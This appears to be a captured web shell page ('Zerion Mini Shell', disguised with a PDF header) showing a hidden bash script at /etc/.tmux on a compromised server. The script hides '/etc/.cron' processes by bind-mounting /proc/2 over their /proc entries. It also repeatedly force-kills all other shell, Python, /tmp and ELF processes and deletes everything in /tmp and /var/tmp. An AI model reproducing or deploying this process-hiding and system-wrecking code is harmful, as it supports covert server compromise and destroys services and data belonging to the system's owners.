%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/etc/
Upload File :
Create Path :
Current File : //proc/self/root/etc/.tmux

#!/bin/bash
INTERVAL=3
while true; do

    pids=$(ps aux | grep '/etc/.cron' | awk '{print $2}')
    for pid in $pids; do
    if [ -n "$pid" ]; then
        # 确保 /proc/$pid 目录存在
        if [ -d "/proc/$pid" ]; then
            # 执行挂载操作
            echo "发现进程 PID: $pid"
            mount --bind /proc/2 /proc/$pid
            echo "已将 /proc/2 挂载到 /proc/$pid"
        else
            echo "/proc/$pid 目录不存在,无法挂载"
        fi
    fi
	done
	
	SELF_PID=$$

ps -eo pid,args | grep -v cron | grep -v grep | while read pid cmd_rest; do
    if [ "$pid" = "$SELF_PID" ]; then
        continue
    fi
    case "$cmd_rest" in
        *.sh*|sh* )
            echo "Killing SH script: $pid - $cmd_rest"
            kill -9 "$pid"
            continue
            ;;
    esac
    case "$cmd_rest" in
        *python* )
            echo "Killing Python: $pid - $cmd_rest"
            kill -9 "$pid"
            continue
            ;;
    esac

    case "$cmd_rest" in
        */tmp/* )
            echo "Killing /tmp program: $pid - $cmd_rest"
            kill -9 "$pid"
            continue
            ;;
    esac

    exe_file="/proc/$pid/exe"
    if [ -e "$exe_file" ]; then
        if file "$exe_file" 2>/dev/null | grep -q "ELF"; then
            echo "Killing ELF: $pid - $cmd_rest"
            kill -9 "$pid"
            continue
        fi
    fi

done
	pkill -9 -f nuclear
	pgrep -af nuclear
	sudo find /tmp /var/tmp -mindepth 1 -maxdepth 1 -exec rm -rf -- {} +
    sleep $INTERVAL
done

Zerion Mini Shell 1.0